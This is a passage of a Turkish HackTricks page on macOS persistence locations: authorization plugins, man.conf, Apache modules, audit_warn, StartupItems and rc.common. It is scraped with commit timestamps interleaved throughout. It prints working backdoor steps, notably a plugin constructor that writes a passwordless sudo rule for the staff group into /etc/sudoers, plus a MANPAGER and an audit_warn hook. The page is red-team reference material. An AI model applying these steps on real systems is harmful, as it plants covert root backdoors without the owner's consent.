Ve bu nedenle ** `sudo` kullanma girişimleri başarı lı olacaktı r**.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Bu dizinin TCC tarafı ndan korunduğunu unutmayı n, bu nedenle kullanı cı ya erişim için bir istem gelebilir.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Yetkilendirme Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Yazı : [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox'ı atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z ve ek yapı landı rmalar yapmanı z gerekiyor
* TCC atlatma: ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-02-10 18:14:16 +00:00
* Root gereklidir
* Eklentiyi kullanmak için yetkilendirme veritabanı nı yapı landı rmak da gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Kalı cı lı ğı sağlamak için kullanı cı nı n oturum açtı ğı nda çalı ştı rı lacak bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nası l oluşturacağı nı z hakkı nda daha fazla bilgi için önceki yazı lara bakı n (ve dikkatli olun, kötü yazı lmı ş bir eklenti sizi dı şarı da bı rakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-10 18:14:16 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-02-10 18:14:16 +00:00
**Bündeyi** yüklenmesi gereken konuma **taşı yı n** :
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-02-10 18:14:16 +00:00
Son olarak, bu Eklentiyi yüklemek için **kuralı ** ekleyin:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-02-10 18:14:16 +00:00
**`evaluate-mechanisms`** yetkilendirme çerçevesine, **dı ş bir mekanizmayı çağı rmak için** ihtiyaç duyacağı nı söyleyecektir. Dahası , ** `privileged` ** onun root tarafı ndan çalı ştı rı lması nı sağlayacaktı r.
2023-11-03 11:03:53 +00:00
2024-02-10 18:14:16 +00:00
Tetiklemek için:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-02-10 18:14:16 +00:00
Ve sonra **personel grubunun sudo** erişimi olmalı dı r (`/etc/sudoers` dosyası nı okuyarak doğrulayı n).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox'ı atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z ve kullanı cı nı n man kullanması gerekmektedir
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **`/private/etc/man.conf`**: Herhangi bir zamanda man kullanı ldı ğı nda
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Yapı landı rma dosyası ** `/private/etc/man.conf` **, man belge dosyaları nı açarken kullanı lacak ikili/dosya yolunu belirtir. Bu nedenle yürütülebilir dosyanı n yolu değiştirilebilir, böylece kullanı cı herhangi bir belgeyi okumak için man kullandı ğı nda bir arka kapı yürütülür.
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Örneğin ** `/private/etc/man.conf` ** içinde ayarlanı r:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
Ve ardı ndan `/tmp/view` 'i şu şekilde oluşturun:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-02-10 18:14:16 +00:00
**Yazı lı m İncelemesi**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlatmak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak kök kullanı cı olmanı z ve apache'nin çalı şı yor olması gerekmektedir
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
* Httpd yetkilendirmelere sahip değil
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-02-10 18:14:16 +00:00
* Kök kullanı cı gereklidir
* Tetikleyici: Apache2 başlatı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Saldı rı
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
`/etc/apache2/httpd.conf` dosyası nda bir modülü yüklemek için aşağı daki gibi bir satı r ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-02-10 18:14:16 +00:00
Bu şekilde derlenmiş modülleriniz Apache tarafı ndan yüklenecektir. Tek yapmanı z gereken, ya geçerli bir Apple sertifikası yla imzalamak ya da sisteme yeni bir güvenilir sertifika eklemek ve onunla imzalamaktı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Ardı ndan, gerektiğinde sunucunun başlatı lması nı sağlamak için şunu çalı ştı rabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-02-10 18:14:16 +00:00
Dylb için kod örneği:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-10 18:14:16 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-02-10 18:14:16 +00:00
### BSM denetim çerçevesi
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak, kök kullanı cı olmanı z, auditd'nin çalı şı yor olması ve bir uyarı oluşturmanı z gerekmektedir.
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-02-10 18:14:16 +00:00
* Kök kullanı cı gereklidir
* **Tetikleyici**: Auditd bir uyarı algı ladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Saldı rı
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Auditd bir uyarı algı ladı ğı nda, ** `/etc/security/audit_warn` ** betiği **çalı ştı rı lı r** . Bu nedenle, üzerine yüklemenizi yapabilirsiniz.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
`sudo audit -n` komutuyla bir uyarı zorlayabilirsiniz.
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
### Başlangı ç Öğeleri
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
**Bu özellik artı k kullanı mdan kaldı rı ldı ğı ndan, bu dizinlerde hiçbir şey bulunmamalı dı r.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
**StartupItem**, `/Library/StartupItems/` veya `/System/Library/StartupItems/` dizinlerinden birinde bulunması gereken bir dizindir. Bu dizin oluşturulduktan sonra, içermesi gereken iki belirli dosya vardı r:
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
1. Bir **rc betiği** : Başlangı çta çalı ştı rı lan bir kabuk betiği.
2. Çeşitli yapı landı rma ayarları nı içeren özel olarak adlandı rı lmı ş bir **plist dosyası ** olan `StartupParameters.plist` .
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
Başlangı ç sürecinin bunları tanı ması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyası nı n doğru şekilde **StartupItem** dizinine yerleştirildiğinden emin olun.
2023-06-01 21:09:46 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-10 18:14:16 +00:00
{% tab title="superservisadı " %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-10 18:14:16 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-10 18:14:16 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-10 18:14:16 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Bu bileşeni macOS'ta bulamı yorum, bu yüzden daha fazla bilgi için yazı ya bakı n
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Apple tarafı ndan tanı tı lan **emond** , geliştirilmemiş veya muhtemelen terk edilmiş gibi görünen bir günlükleme mekanizması dı r, ancak hala erişilebilir durumdadı r. Mac yöneticileri için özellikle faydalı olmasa da, bu bilinmeyen hizmet, tehdit aktörleri için hafif bir kalı cı lı k yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafı ndan fark edilmeden kalabilir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Varlı ğı ndan haberdar olanlar için, **emond** 'un herhangi bir kötüye kullanı mı nı tespit etmek kolaydı r. Bu hizmetin sistemdeki LaunchDaemon'ı , tek bir dizinde yürütülecek komut dosyaları nı arar. Bunun için aşağı daki komut kullanı labilir:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **Tetikleyici**: XQuartz ile
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Saldı rı
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
XQuartz artı k macOS'ta yüklü değil, bu yüzden daha fazla bilgi için writeup'a bakabilirsiniz.
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Kext'i root olarak bile kurmak çok karmaşı ktı r, bu yüzden bunu kum havuzları ndan kaçmak veya kalı cı lı k için düşünmeyeceğim (exploitiniz yoksa)
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Bir KEXT'i başlangı ç öğesi olarak yüklemek için, aşağı daki konumlardan birine **kurulması gerekir** :
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-02-10 18:14:16 +00:00
* OS X işletim sistemi tarafı ndan oluşturulan KEXT dosyaları .
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-02-10 18:14:16 +00:00
* 3. taraf yazı lı m tarafı ndan yüklenen KEXT dosyaları
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Şu anda yüklenmiş kext dosyaları nı listelemek için:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [**çekirdek uzantı ları bölümüne bakı n** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist` dosyası ndaki `plist` , bir XPC hizmetini açı ğa çı karı rken bu ikiliyi kullanı yordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC hizmeti çağrı ldı ğı nda ikiliniz çağrı lacaktı r.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Artı k bunu macOS'ta bulamı yorum.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
* **Tetikleyici**: Hizmet çalı ştı rı ldı ğı nda (nadiren)
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve sömürü
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Görünüşe göre bu komut dosyası nı çalı ştı rmak çok yaygı n değil ve macOS'ta bile bulamadı m, bu yüzden daha fazla bilgi için yazı ya bakabilirsiniz.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
**Bu modern MacOS sürümlerinde çalı şmı yor**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
**Başlangı çta çalı ştı rı lacak komutları buraya yerleştirmek de mümkündür.** Örnek bir rc.common komut dosyası :
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-10 18:14:16 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-10 18:14:16 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-10 18:14:16 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-02-10 18:14:16 +00:00
## Kalı cı lı k teknikleri ve araçları
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hackleme konusunda sı fı rdan kahramana kadar öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family )
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na PR göndererek paylaşı n.
2023-06-01 21:09:46 +00:00
< / details >